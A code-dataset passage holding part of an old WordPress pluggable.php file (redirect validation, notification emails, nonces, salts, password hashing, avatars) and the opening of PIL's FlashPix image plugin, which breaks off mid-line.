do_action('check_ajax_referer', $action, $result); return $result; } endif; if ( !function_exists('wp_redirect') ) : /** * Redirects to another page. * * @since 1.5.1 * @uses apply_filters() Calls 'wp_redirect' hook on $location and $status. * * @param string $location The path to redirect to * @param int $status Status code to use * @return bool False if $location is not set */ function wp_redirect($location, $status = 302) { global $is_IIS; $location = apply_filters('wp_redirect', $location, $status); $status = apply_filters('wp_redirect_status', $status, $location); if ( !$location ) // allows the wp_redirect filter to cancel a redirect return false; $location = wp_sanitize_redirect($location); if ( !$is_IIS && php_sapi_name() != 'cgi-fcgi' ) status_header($status); // This causes problems on IIS and some FastCGI setups header("Location: $location", true, $status); } endif; if ( !function_exists('wp_sanitize_redirect') ) : /** * Sanitizes a URL for use in a redirect. * * @since 2.3 * * @return string redirect-sanitized URL **/ function wp_sanitize_redirect($location) { $location = preg_replace('|[^a-z0-9-~+_.?#=&;,/:%!]|i', '', $location); $location = wp_kses_no_null($location); // remove %0d and %0a from location $strip = array('%0d', '%0a', '%0D', '%0A'); $location = _deep_replace($strip, $location); return $location; } endif; if ( !function_exists('wp_safe_redirect') ) : /** * Performs a safe (local) redirect, using wp_redirect(). * * Checks whether the $location is using an allowed host, if it has an absolute * path. A plugin can therefore set or remove allowed host(s) to or from the * list. * * If the host is not allowed, then the redirect is to wp-admin on the siteurl * instead. This prevents malicious redirects which redirect to another host, * but only used in a few places. * * @since 2.3 * @uses wp_validate_redirect() To validate the redirect is to an allowed host. * * @return void Does not return anything **/ function wp_safe_redirect($location, $status = 302) { // Need to look at the URL the way it will end up in wp_redirect() $location = wp_sanitize_redirect($location); $location = wp_validate_redirect($location, admin_url()); wp_redirect($location, $status); } endif; if ( !function_exists('wp_validate_redirect') ) : /** * Validates a URL for use in a redirect. * * Checks whether the $location is using an allowed host, if it has an absolute * path. A plugin can therefore set or remove allowed host(s) to or from the * list. * * If the host is not allowed, then the redirect is to $default supplied * * @since 2.8.1 * @uses apply_filters() Calls 'allowed_redirect_hosts' on an array containing * WordPress host string and $location host string. * * @param string $location The redirect to validate * @param string $default The value to return is $location is not allowed * @return string redirect-sanitized URL **/ function wp_validate_redirect($location, $default = '') { // browsers will assume 'http' is your protocol, and will obey a redirect to a URL starting with '//' if ( substr($location, 0, 2) == '//' ) $location = 'http:' . $location; // In php 5 parse_url may fail if the URL query part contains http://, bug #38143 $test = ( $cut = strpos($location, '?') ) ? substr( $location, 0, $cut ) : $location; $lp = parse_url($test); // Give up if malformed URL if ( false === $lp ) return $default; // Allow only http and https schemes. No data:, etc. if ( isset($lp['scheme']) && !('http' == $lp['scheme'] || 'https' == $lp['scheme']) ) return $default; // Reject if scheme is set but host is not. This catches urls like https:host.com for which parse_url does not set the host field. if ( isset($lp['scheme']) && !isset($lp['host']) ) return $default; $wpp = parse_url(home_url()); $allowed_hosts = (array) apply_filters('allowed_redirect_hosts', array($wpp['host']), isset($lp['host']) ? $lp['host'] : ''); if ( isset($lp['host']) && ( !in_array($lp['host'], $allowed_hosts) && $lp['host'] != strtolower($wpp['host'])) ) $location = $default; return $location; } endif; if ( ! function_exists('wp_notify_postauthor') ) : /** * Notify an author of a comment/trackback/pingback to one of their posts. * * @since 1.0.0 * * @param int $comment_id Comment ID * @param string $comment_type Optional. The comment type either 'comment' (default), 'trackback', or 'pingback' * @return bool False if user email does not exist. True on completion. */ function wp_notify_postauthor( $comment_id, $comment_type = '' ) { $comment = get_comment( $comment_id ); $post = get_post( $comment->comment_post_ID ); $author = get_userdata( $post->post_author ); // The comment was left by the author if ( $comment->user_id == $post->post_author ) return false; // The author moderated a comment on his own post if ( $post->post_author == get_current_user_id() ) return false; // If there's no email to send the comment to if ( '' == $author->user_email ) return false; $comment_author_domain = @gethostbyaddr($comment->comment_author_IP); // The blogname option is escaped with esc_html on the way into the database in sanitize_option // we want to reverse this for the plain text arena of emails. $blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES); if ( empty( $comment_type ) ) $comment_type = 'comment'; if ('comment' == $comment_type) { $notify_message = sprintf( __( 'New comment on your post "%s"' ), $post->post_title ) . "\r\n"; /* translators: 1: comment author, 2: author IP, 3: author domain */ $notify_message .= sprintf( __('Author : %1$s (IP: %2$s , %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n"; $notify_message .= sprintf( __('E-mail : %s'), $comment->comment_author_email ) . "\r\n"; $notify_message .= sprintf( __('URL : %s'), $comment->comment_author_url ) . "\r\n"; $notify_message .= sprintf( __('Whois : http://whois.arin.net/rest/ip/%s'), $comment->comment_author_IP ) . "\r\n"; $notify_message .= __('Comment: ') . "\r\n" . $comment->comment_content . "\r\n\r\n"; $notify_message .= __('You can see all comments on this post here: ') . "\r\n"; /* translators: 1: blog name, 2: post title */ $subject = sprintf( __('[%1$s] Comment: "%2$s"'), $blogname, $post->post_title ); } elseif ('trackback' == $comment_type) { $notify_message = sprintf( __( 'New trackback on your post "%s"' ), $post->post_title ) . "\r\n"; /* translators: 1: website name, 2: author IP, 3: author domain */ $notify_message .= sprintf( __('Website: %1$s (IP: %2$s , %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n"; $notify_message .= sprintf( __('URL : %s'), $comment->comment_author_url ) . "\r\n"; $notify_message .= __('Excerpt: ') . "\r\n" . $comment->comment_content . "\r\n\r\n"; $notify_message .= __('You can see all trackbacks on this post here: ') . "\r\n"; /* translators: 1: blog name, 2: post title */ $subject = sprintf( __('[%1$s] Trackback: "%2$s"'), $blogname, $post->post_title ); } elseif ('pingback' == $comment_type) { $notify_message = sprintf( __( 'New pingback on your post "%s"' ), $post->post_title ) . "\r\n"; /* translators: 1: comment author, 2: author IP, 3: author domain */ $notify_message .= sprintf( __('Website: %1$s (IP: %2$s , %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n"; $notify_message .= sprintf( __('URL : %s'), $comment->comment_author_url ) . "\r\n"; $notify_message .= __('Excerpt: ') . "\r\n" . sprintf('[...] %s [...]', $comment->comment_content ) . "\r\n\r\n"; $notify_message .= __('You can see all pingbacks on this post here: ') . "\r\n"; /* translators: 1: blog name, 2: post title */ $subject = sprintf( __('[%1$s] Pingback: "%2$s"'), $blogname, $post->post_title ); } $notify_message .= get_permalink($comment->comment_post_ID) . "#comments\r\n\r\n"; $notify_message .= sprintf( __('Permalink: %s'), get_permalink( $comment->comment_post_ID ) . '#comment-' . $comment_id ) . "\r\n"; if ( EMPTY_TRASH_DAYS ) $notify_message .= sprintf( __('Trash it: %s'), admin_url("comment.php?action=trash&c=$comment_id") ) . "\r\n"; else $notify_message .= sprintf( __('Delete it: %s'), admin_url("comment.php?action=delete&c=$comment_id") ) . "\r\n"; $notify_message .= sprintf( __('Spam it: %s'), admin_url("comment.php?action=spam&c=$comment_id") ) . "\r\n"; $wp_email = 'wordpress@' . preg_replace('#^www\.#', '', strtolower($_SERVER['SERVER_NAME'])); if ( '' == $comment->comment_author ) { $from = "From: \"$blogname\" <$wp_email>"; if ( '' != $comment->comment_author_email ) $reply_to = "Reply-To: $comment->comment_author_email"; } else { $from = "From: \"$comment->comment_author\" <$wp_email>"; if ( '' != $comment->comment_author_email ) $reply_to = "Reply-To: \"$comment->comment_author_email\" <$comment->comment_author_email>"; } $message_headers = "$from\n" . "Content-Type: text/plain; charset=\"" . get_option('blog_charset') . "\"\n"; if ( isset($reply_to) ) $message_headers .= $reply_to . "\n"; $notify_message = apply_filters('comment_notification_text', $notify_message, $comment_id); $subject = apply_filters('comment_notification_subject', $subject, $comment_id); $message_headers = apply_filters('comment_notification_headers', $message_headers, $comment_id); @wp_mail( $author->user_email, $subject, $notify_message, $message_headers ); return true; } endif; if ( !function_exists('wp_notify_moderator') ) : /** * Notifies the moderator of the blog about a new comment that is awaiting approval. * * @since 1.0 * @uses $wpdb * * @param int $comment_id Comment ID * @return bool Always returns true */ function wp_notify_moderator($comment_id) { global $wpdb; if ( 0 == get_option( 'moderation_notify' ) ) return true; $comment = get_comment($comment_id); $post = get_post($comment->comment_post_ID); $user = get_userdata( $post->post_author ); // Send to the administation and to the post author if the author can modify the comment. $email_to = array( get_option('admin_email') ); if ( user_can($user->ID, 'edit_comment', $comment_id) && !empty($user->user_email) && ( get_option('admin_email') != $user->user_email) ) $email_to[] = $user->user_email; $comment_author_domain = @gethostbyaddr($comment->comment_author_IP); $comments_waiting = $wpdb->get_var("SELECT count(comment_ID) FROM $wpdb->comments WHERE comment_approved = '0'"); // The blogname option is escaped with esc_html on the way into the database in sanitize_option // we want to reverse this for the plain text arena of emails. $blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES); switch ($comment->comment_type) { case 'trackback': $notify_message = sprintf( __('A new trackback on the post "%s" is waiting for your approval'), $post->post_title ) . "\r\n"; $notify_message .= get_permalink($comment->comment_post_ID) . "\r\n\r\n"; $notify_message .= sprintf( __('Website : %1$s (IP: %2$s , %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n"; $notify_message .= sprintf( __('URL : %s'), $comment->comment_author_url ) . "\r\n"; $notify_message .= __('Trackback excerpt: ') . "\r\n" . $comment->comment_content . "\r\n\r\n"; break; case 'pingback': $notify_message = sprintf( __('A new pingback on the post "%s" is waiting for your approval'), $post->post_title ) . "\r\n"; $notify_message .= get_permalink($comment->comment_post_ID) . "\r\n\r\n"; $notify_message .= sprintf( __('Website : %1$s (IP: %2$s , %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n"; $notify_message .= sprintf( __('URL : %s'), $comment->comment_author_url ) . "\r\n"; $notify_message .= __('Pingback excerpt: ') . "\r\n" . $comment->comment_content . "\r\n\r\n"; break; default: //Comments $notify_message = sprintf( __('A new comment on the post "%s" is waiting for your approval'), $post->post_title ) . "\r\n"; $notify_message .= get_permalink($comment->comment_post_ID) . "\r\n\r\n"; $notify_message .= sprintf( __('Author : %1$s (IP: %2$s , %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n"; $notify_message .= sprintf( __('E-mail : %s'), $comment->comment_author_email ) . "\r\n"; $notify_message .= sprintf( __('URL : %s'), $comment->comment_author_url ) . "\r\n"; $notify_message .= sprintf( __('Whois : http://whois.arin.net/rest/ip/%s'), $comment->comment_author_IP ) . "\r\n"; $notify_message .= __('Comment: ') . "\r\n" . $comment->comment_content . "\r\n\r\n"; break; } $notify_message .= sprintf( __('Approve it: %s'), admin_url("comment.php?action=approve&c=$comment_id") ) . "\r\n"; if ( EMPTY_TRASH_DAYS ) $notify_message .= sprintf( __('Trash it: %s'), admin_url("comment.php?action=trash&c=$comment_id") ) . "\r\n"; else $notify_message .= sprintf( __('Delete it: %s'), admin_url("comment.php?action=delete&c=$comment_id") ) . "\r\n"; $notify_message .= sprintf( __('Spam it: %s'), admin_url("comment.php?action=spam&c=$comment_id") ) . "\r\n"; $notify_message .= sprintf( _n('Currently %s comment is waiting for approval. Please visit the moderation panel:', 'Currently %s comments are waiting for approval. Please visit the moderation panel:', $comments_waiting), number_format_i18n($comments_waiting) ) . "\r\n"; $notify_message .= admin_url("edit-comments.php?comment_status=moderated") . "\r\n"; $subject = sprintf( __('[%1$s] Please moderate: "%2$s"'), $blogname, $post->post_title ); $message_headers = ''; $notify_message = apply_filters('comment_moderation_text', $notify_message, $comment_id); $subject = apply_filters('comment_moderation_subject', $subject, $comment_id); $message_headers = apply_filters('comment_moderation_headers', $message_headers); foreach ( $email_to as $email ) @wp_mail($email, $subject, $notify_message, $message_headers); return true; } endif; if ( !function_exists('wp_password_change_notification') ) : /** * Notify the blog admin of a user changing password, normally via email. * * @since 2.7 * * @param object $user User Object */ function wp_password_change_notification(&$user) { // send a copy of password change notification to the admin // but check to see if it's the admin whose password we're changing, and skip this if ( $user->user_email != get_option('admin_email') ) { $message = sprintf(__('Password Lost and Changed for user: %s'), $user->user_login) . "\r\n"; // The blogname option is escaped with esc_html on the way into the database in sanitize_option // we want to reverse this for the plain text arena of emails. $blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES); wp_mail(get_option('admin_email'), sprintf(__('[%s] Password Lost/Changed'), $blogname), $message); } } endif; if ( !function_exists('wp_new_user_notification') ) : /** * Notify the blog admin of a new user, normally via email. * * @since 2.0 * * @param int $user_id User ID * @param string $plaintext_pass Optional. The user's plaintext password */ function wp_new_user_notification($user_id, $plaintext_pass = '') { $user = new WP_User($user_id); $user_login = stripslashes($user->user_login); $user_email = stripslashes($user->user_email); // The blogname option is escaped with esc_html on the way into the database in sanitize_option // we want to reverse this for the plain text arena of emails. $blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES); $message = sprintf(__('New user registration on your site %s:'), $blogname) . "\r\n\r\n"; $message .= sprintf(__('Username: %s'), $user_login) . "\r\n\r\n"; $message .= sprintf(__('E-mail: %s'), $user_email) . "\r\n"; @wp_mail(get_option('admin_email'), sprintf(__('[%s] New User Registration'), $blogname), $message); if ( empty($plaintext_pass) ) return; $message = sprintf(__('Username: %s'), $user_login) . "\r\n"; $message .= sprintf(__('Password: %s'), $plaintext_pass) . "\r\n"; $message .= wp_login_url() . "\r\n"; wp_mail($user_email, sprintf(__('[%s] Your username and password'), $blogname), $message); } endif; if ( !function_exists('wp_nonce_tick') ) : /** * Get the time-dependent variable for nonce creation. * * A nonce has a lifespan of two ticks. Nonces in their second tick may be * updated, e.g. by autosave. * * @since 2.5 * * @return int */ function wp_nonce_tick() { $nonce_life = apply_filters('nonce_life', 86400); return ceil(time() / ( $nonce_life / 2 )); } endif; if ( !function_exists('wp_verify_nonce') ) : /** * Verify that correct nonce was used with time limit. * * The user is given an amount of time to use the token, so therefore, since the * UID and $action remain the same, the independent variable is the time. * * @since 2.0.3 * * @param string $nonce Nonce that was used in the form to verify * @param string|int $action Should give context to what is taking place and be the same when nonce was created. * @return bool Whether the nonce check passed or failed. */ function wp_verify_nonce($nonce, $action = -1) { $user = wp_get_current_user(); $uid = (int) $user->id; $i = wp_nonce_tick(); // Nonce generated 0-12 hours ago if ( substr(wp_hash($i . $action . $uid, 'nonce'), -12, 10) == $nonce ) return 1; // Nonce generated 12-24 hours ago if ( substr(wp_hash(($i - 1) . $action . $uid, 'nonce'), -12, 10) == $nonce ) return 2; // Invalid nonce return false; } endif; if ( !function_exists('wp_create_nonce') ) : /** * Creates a random, one time use token. * * @since 2.0.3 * * @param string|int $action Scalar value to add context to the nonce. * @return string The one use form token */ function wp_create_nonce($action = -1) { $user = wp_get_current_user(); $uid = (int) $user->id; $i = wp_nonce_tick(); return substr(wp_hash($i . $action . $uid, 'nonce'), -12, 10); } endif; if ( !function_exists('wp_salt') ) : /** * Get salt to add to hashes to help prevent attacks. * * The secret key is located in two places: the database in case the secret key * isn't defined in the second place, which is in the wp-config.php file. If you * are going to set the secret key, then you must do so in the wp-config.php * file. * * The secret key in the database is randomly generated and will be appended to * the secret key that is in wp-config.php file in some instances. It is * important to have the secret key defined or changed in wp-config.php. * * If you have installed WordPress 2.5 or later, then you will have the * SECRET_KEY defined in the wp-config.php already. You will want to change the * value in it because hackers will know what it is. If you have upgraded to * WordPress 2.5 or later version from a version before WordPress 2.5, then you * should add the constant to your wp-config.php file. * * Below is an example of how the SECRET_KEY constant is defined with a value. * You must not copy the below example and paste into your wp-config.php. If you * need an example, then you can have a * {@link https://api.wordpress.org/secret-key/1.1/ secret key created} for you. * * <code> * define('SECRET_KEY', 'mAry1HadA15|\/|b17w55w1t3asSn09w'); * </code> * * Salting passwords helps against tools which has stored hashed values of * common dictionary strings. The added values makes it harder to crack if given * salt string is not weak. * * @since 2.5 * @link https://api.wordpress.org/secret-key/1.1/ Create a Secret Key for wp-config.php * * @param string $scheme Authentication scheme * @return string Salt value */ function wp_salt($scheme = 'auth') { global $wp_default_secret_key; $secret_key = ''; if ( defined('SECRET_KEY') && ('' != SECRET_KEY) && ( $wp_default_secret_key != SECRET_KEY) ) $secret_key = SECRET_KEY; if ( 'auth' == $scheme ) { if ( defined('AUTH_KEY') && ('' != AUTH_KEY) && ( $wp_default_secret_key != AUTH_KEY) ) $secret_key = AUTH_KEY; if ( defined('AUTH_SALT') && ('' != AUTH_SALT) && ( $wp_default_secret_key != AUTH_SALT) ) { $salt = AUTH_SALT; } elseif ( defined('SECRET_SALT') && ('' != SECRET_SALT) && ( $wp_default_secret_key != SECRET_SALT) ) { $salt = SECRET_SALT; } else { $salt = get_site_option('auth_salt'); if ( empty($salt) ) { $salt = wp_generate_password( 64, true, true ); update_site_option('auth_salt', $salt); } } } elseif ( 'secure_auth' == $scheme ) { if ( defined('SECURE_AUTH_KEY') && ('' != SECURE_AUTH_KEY) && ( $wp_default_secret_key != SECURE_AUTH_KEY) ) $secret_key = SECURE_AUTH_KEY; if ( defined('SECURE_AUTH_SALT') && ('' != SECURE_AUTH_SALT) && ( $wp_default_secret_key != SECURE_AUTH_SALT) ) { $salt = SECURE_AUTH_SALT; } else { $salt = get_site_option('secure_auth_salt'); if ( empty($salt) ) { $salt = wp_generate_password( 64, true, true ); update_site_option('secure_auth_salt', $salt); } } } elseif ( 'logged_in' == $scheme ) { if ( defined('LOGGED_IN_KEY') && ('' != LOGGED_IN_KEY) && ( $wp_default_secret_key != LOGGED_IN_KEY) ) $secret_key = LOGGED_IN_KEY; if ( defined('LOGGED_IN_SALT') && ('' != LOGGED_IN_SALT) && ( $wp_default_secret_key != LOGGED_IN_SALT) ) { $salt = LOGGED_IN_SALT; } else { $salt = get_site_option('logged_in_salt'); if ( empty($salt) ) { $salt = wp_generate_password( 64, true, true ); update_site_option('logged_in_salt', $salt); } } } elseif ( 'nonce' == $scheme ) { if ( defined('NONCE_KEY') && ('' != NONCE_KEY) && ( $wp_default_secret_key != NONCE_KEY) ) $secret_key = NONCE_KEY; if ( defined('NONCE_SALT') && ('' != NONCE_SALT) && ( $wp_default_secret_key != NONCE_SALT) ) { $salt = NONCE_SALT; } else { $salt = get_site_option('nonce_salt'); if ( empty($salt) ) { $salt = wp_generate_password( 64, true, true ); update_site_option('nonce_salt', $salt); } } } else { // ensure each auth scheme has its own unique salt $salt = hash_hmac('md5', $scheme, $secret_key); } return apply_filters('salt', $secret_key . $salt, $scheme); } endif; if ( !function_exists('wp_hash') ) : /** * Get hash of given string. * * @since 2.0.3 * @uses wp_salt() Get WordPress salt * * @param string $data Plain text to hash * @return string Hash of $data */ function wp_hash($data, $scheme = 'auth') { $salt = wp_salt($scheme); return hash_hmac('md5', $data, $salt); } endif; if ( !function_exists('wp_hash_password') ) : /** * Create a hash (encrypt) of a plain text password. * * For integration with other applications, this function can be overwritten to * instead use the other package password checking algorithm. * * @since 2.5 * @global object $wp_hasher PHPass object * @uses PasswordHash::HashPassword * * @param string $password Plain text user password to hash * @return string The hash string of the password */ function wp_hash_password($password) { global $wp_hasher; if ( empty($wp_hasher) ) { require_once( ABSPATH . 'wp-includes/class-phpass.php'); // By default, use the portable hash from phpass $wp_hasher = new PasswordHash(8, TRUE); } return $wp_hasher->HashPassword($password); } endif; if ( !function_exists('wp_check_password') ) : /** * Checks the plaintext password against the encrypted Password. * * Maintains compatibility between old version and the new cookie authentication * protocol using PHPass library. The $hash parameter is the encrypted password * and the function compares the plain text password when encypted similarly * against the already encrypted password to see if they match. * * For integration with other applications, this function can be overwritten to * instead use the other package password checking algorithm. * * @since 2.5 * @global object $wp_hasher PHPass object used for checking the password * against the $hash + $password * @uses PasswordHash::CheckPassword * * @param string $password Plaintext user's password * @param string $hash Hash of the user's password to check against. * @return bool False, if the $password does not match the hashed password */ function wp_check_password($password, $hash, $user_id = '') { global $wp_hasher; // If the hash is still md5... if ( strlen($hash) <= 32 ) { $check = ( $hash == md5($password) ); if ( $check && $user_id ) { // Rehash using new hash. wp_set_password($password, $user_id); $hash = wp_hash_password($password); } return apply_filters('check_password', $check, $password, $hash, $user_id); } // If the stored hash is longer than an MD5, presume the // new style phpass portable hash. if ( empty($wp_hasher) ) { require_once( ABSPATH . 'wp-includes/class-phpass.php'); // By default, use the portable hash from phpass $wp_hasher = new PasswordHash(8, TRUE); } $check = $wp_hasher->CheckPassword($password, $hash); return apply_filters('check_password', $check, $password, $hash, $user_id); } endif; if ( !function_exists('wp_generate_password') ) : /** * Generates a random password drawn from the defined set of characters. * * @since 2.5 * * @param int $length The length of password to generate * @param bool $special_chars Whether to include standard special characters. Default true. * @param bool $extra_special_chars Whether to include other special characters. Used when * generating secret keys and salts. Default false. * @return string The random password **/ function wp_generate_password( $length = 12, $special_chars = true, $extra_special_chars = false ) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; if ( $special_chars ) $chars .= '!@#$%^&*()'; if ( $extra_special_chars ) $chars .= '-_ []{}<>~`+=,.;:/?|'; $password = ''; for ( $i = 0; $i < $length; $i++ ) { $password .= substr($chars, wp_rand(0, strlen($chars) - 1), 1); } // random_password filter was previously in random_password function which was deprecated return apply_filters('random_password', $password); } endif; if ( !function_exists('wp_rand') ) : /** * Generates a random number * * @since 2.6.2 * * @param int $min Lower limit for the generated number (optional, default is 0) * @param int $max Upper limit for the generated number (optional, default is 4294967295) * @return int A random number between min and max */ function wp_rand( $min = 0, $max = 0 ) { global $rnd_value; // Reset $rnd_value after 14 uses // 32(md5) + 40(sha1) + 40(sha1) / 8 = 14 random numbers from $rnd_value if ( strlen($rnd_value) < 8 ) { if ( defined( 'WP_SETUP_CONFIG' ) ) static $seed = ''; else $seed = get_transient('random_seed'); $rnd_value = md5( uniqid(microtime() . mt_rand(), true ) . $seed ); $rnd_value .= sha1($rnd_value); $rnd_value .= sha1($rnd_value . $seed); $seed = md5($seed . $rnd_value); if ( ! defined( 'WP_SETUP_CONFIG' ) ) set_transient('random_seed', $seed); } // Take the first 8 digits for our value $value = substr($rnd_value, 0, 8); // Strip the first eight, leaving the remainder for the next call to wp_rand(). $rnd_value = substr($rnd_value, 8); $value = abs(hexdec($value)); // Reduce the value to be within the min - max range // 4294967295 = 0xffffffff = max random number if ( $max != 0 ) $value = $min + (($max - $min + 1) * ($value / (4294967295 + 1))); return abs(intval($value)); } endif; if ( !function_exists('wp_set_password') ) : /** * Updates the user's password with a new encrypted one. * * For integration with other applications, this function can be overwritten to * instead use the other package password checking algorithm. * * @since 2.5 * @uses $wpdb WordPress database object for queries * @uses wp_hash_password() Used to encrypt the user's password before passing to the database * * @param string $password The plaintext new user password * @param int $user_id User ID */ function wp_set_password( $password, $user_id ) { global $wpdb; $hash = wp_hash_password($password); $wpdb->update($wpdb->users, array('user_pass' => $hash, 'user_activation_key' => ''), array('ID' => $user_id) ); wp_cache_delete($user_id, 'users'); } endif; if ( !function_exists( 'get_avatar' ) ) : /** * Retrieve the avatar for a user who provided a user ID or email address. * * @since 2.5 * @param int|string|object $id_or_email A user ID, email address, or comment object * @param int $size Size of the avatar image * @param string $default URL to a default image to use if no avatar is available * @param string $alt Alternate text to use in image tag. Defaults to blank * @return string <img> tag for the user's avatar */ function get_avatar( $id_or_email, $size = '96', $default = '', $alt = false ) { if ( ! get_option('show_avatars') ) return false; if ( false === $alt) $safe_alt = ''; else $safe_alt = esc_attr( $alt ); if ( !is_numeric($size) ) $size = '96'; $email = ''; if ( is_numeric($id_or_email) ) { $id = (int) $id_or_email; $user = get_userdata($id); if ( $user ) $email = $user->user_email; } elseif ( is_object($id_or_email) ) { // No avatar for pingbacks or trackbacks $allowed_comment_types = apply_filters( 'get_avatar_comment_types', array( 'comment' ) ); if ( ! empty( $id_or_email->comment_type ) && ! in_array( $id_or_email->comment_type, (array) $allowed_comment_types ) ) return false; if ( !empty($id_or_email->user_id) ) { $id = (int) $id_or_email->user_id; $user = get_userdata($id); if ( $user) $email = $user->user_email; } elseif ( !empty($id_or_email->comment_author_email) ) { $email = $id_or_email->comment_author_email; } } else { $email = $id_or_email; } if ( empty($default) ) { $avatar_default = get_option('avatar_default'); if ( empty($avatar_default) ) $default = 'mystery'; else $default = $avatar_default; } if ( !empty($email) ) $email_hash = md5( strtolower( $email ) ); if ( is_ssl() ) { $host = 'https://secure.gravatar.com'; } else { if ( !empty($email) ) $host = sprintf( "http://%d.gravatar.com", ( hexdec( $email_hash[0] ) % 2 ) ); else $host = 'http://0.gravatar.com'; } if ( 'mystery' == $default ) $default = "$host/avatar/ad516503a11cd5ca435acc9bb6523536?s={$size}"; // ad516503a11cd5ca435acc9bb6523536 == md5('unknown@gravatar.com') elseif ( 'blank' == $default ) $default = includes_url('images/blank.gif'); elseif ( !empty($email) && 'gravatar_default' == $default ) $default = ''; elseif ( 'gravatar_default' == $default ) $default = "$host/avatar/s={$size}"; elseif ( empty($email) ) $default = "$host/avatar/?d=$default&amp;s={$size}"; elseif ( strpos($default, 'http://') === 0 ) $default = add_query_arg( 's', $size, $default ); if ( !empty($email) ) { $out = "$host/avatar/"; $out .= $email_hash; $out .= '?s='.$size; $out .= '&amp;d=' . urlencode( $default ); $rating = get_option('avatar_rating'); if ( !empty( $rating ) ) $out .= "&amp;r={$rating}"; $avatar = "<img alt='{$safe_alt}' src='{$out}' class='avatar avatar-{$size} photo' height='{$size}' width='{$size}' />"; } else { $avatar = "<img alt='{$safe_alt}' src='{$default}' class='avatar avatar-{$size} photo avatar-default' height='{$size}' width='{$size}' />"; } return apply_filters('get_avatar', $avatar, $id_or_email, $size, $default, $alt); } endif; if ( !function_exists( 'wp_text_diff' ) ) : /** * Displays a human readable HTML representation of the difference between two strings. * * The Diff is available for getting the changes between versions. The output is * HTML, so the primary use is for displaying the changes. If the two strings * are equivalent, then an empty string will be returned. * * The arguments supported and can be changed are listed below. * * 'title' : Default is an empty string. Titles the diff in a manner compatible * with the output. * 'title_left' : Default is an empty string. Change the HTML to the left of the * title. * 'title_right' : Default is an empty string. Change the HTML to the right of * the title. * * @since 2.6 * @see wp_parse_args() Used to change defaults to user defined settings. * @uses Text_Diff * @uses WP_Text_Diff_Renderer_Table * * @param string $left_string "old" (left) version of string * @param string $right_string "new" (right) version of string * @param string|array $args Optional. Change 'title', 'title_left', and 'title_right' defaults. * @return string Empty string if strings are equivalent or HTML with differences. */ function wp_text_diff( $left_string, $right_string, $args = null ) { $defaults = array( 'title' => '', 'title_left' => '', 'title_right' => '' ); $args = wp_parse_args( $args, $defaults ); if ( !class_exists( 'WP_Text_Diff_Renderer_Table' ) ) require( ABSPATH . WPINC . '/wp-diff.php' ); $left_string = normalize_whitespace($left_string); $right_string = normalize_whitespace($right_string); $left_lines = split("\n", $left_string); $right_lines = split("\n", $right_string); $text_diff = new Text_Diff($left_lines, $right_lines); $renderer = new WP_Text_Diff_Renderer_Table(); $diff = $renderer->render($text_diff); if ( !$diff ) return ''; $r = "<table class='diff'>\n"; $r .= "<col class='ltype' /><col class='content' /><col class='ltype' /><col class='content' />"; if ( $args['title'] || $args['title_left'] || $args['title_right'] ) $r .= "<thead>"; if ( $args['title'] ) $r .= "<tr class='diff-title'><th colspan='4'>$args[title]</th></tr>\n"; if ( $args['title_left'] || $args['title_right'] ) { $r .= "<tr class='diff-sub-title'>\n"; $r .= "\t<td></td><th>$args[title_left]</th>\n"; $r .= "\t<td></td><th>$args[title_right]</th>\n"; $r .= "</tr>\n"; } if ( $args['title'] || $args['title_left'] || $args['title_right'] ) $r .= "</thead>\n"; $r .= "<tbody>\n$diff\n</tbody>\n"; $r .= "</table>"; return $r; } endif;
enriquepunk/mobius
financit/blog/wp-includes/pluggable.php
PHP
gpl-2.0
75,558
# # THIS IS WORK IN PROGRESS # # The Python Imaging Library. # $Id: FpxImagePlugin.py,v 1.2 2007/06/17 14:12:14 robertoconnor Exp $ # # FlashPix support for PIL # # History: # 97-01-25 fl Created (reads uncompressed RGB images only) # # Copyright (c) Secret Labs AB 1997. # Copyright (c) Fredrik Lundh 1997. # # See the README file for information on usage and redistribution. # __version__ = "0.1" import string import Image, ImageFile from OleFileIO import * # we map from colour field tuples to (mode, rawmode) descriptors MODES = { # opacity (0x00007ffe): ("A", "L"), # monochrome (0x00010000,): ("L", "L"), (0x00018000, 0x00017ffe): ("RGBA", "LA"), # photo YCC (0x00020000, 0x00020001, 0x00020002): ("RGB", "YCC;P"), (0x00028000, 0x00028001, 0x00028002, 0x00027ffe): ("RGBA", "YCCA;P"), # standard RGB (NIFRGB) (0x00030000, 0x00030001, 0x00030002): ("RGB","RGB"), (0x00038000, 0x00038001, 0x00038002, 0x00037ffe): ("RGBA","RGBA"), } # # -------------------------------------------------------------------- def _accept(prefix): return prefix[:8] == MAGIC ## # Image plugin for the FlashPix images. class FpxImageFile(ImageFile.ImageFile): format = "FPX" format_description = "FlashPix" def _open(self): # # read the OLE directory and see if this is a likely # to be a FlashPix file try: self.ole = OleFileIO(self.fp) except IOError: raise SyntaxError, "not an FPX file; invalid OLE file" if self.ole.root.clsid != "56616700-C154-11CE-8553-00AA00A1F95B": raise SyntaxError, "not an FPX file; bad root CLSID" self._open_index(1) def _open_index(self, index = 1): # # get the Image Contents Property Set prop = self.ole.getproperties([ "Data Object Store %06d" % index, "\005Image Contents" ]) # size (highest resolution) self.size = prop[0x1000002], prop[0x1000003] size = max(self.size) i = 1 while size > 64: size = size / 2 i = i + 1 self.maxid = i - 1 # mode. instead of using a single field for this, flashpix # requires you to specify the mode for each channel in each # resolution subimage, and leaves it to the decoder to make # sure that they all match. for now, we'll cheat and assume # that this is always the case. id = self.maxid << 16 s = prop[0x2000002|id] colors = [] for i in range(i32(s, 4)): # note: for now, we ignore the "uncalibrated" flag colors.append(i32(s, 8+i*4) & 0x7fffffff) self.mode, self.rawmode = MODES[tuple(colors)] # load JPEG tables, if any self.jpeg = {} for i in range(256): id = 0x3000001|(i << 16) if prop.has_key(id): self.jpeg[i] = prop[id] # print len(self.jpeg), 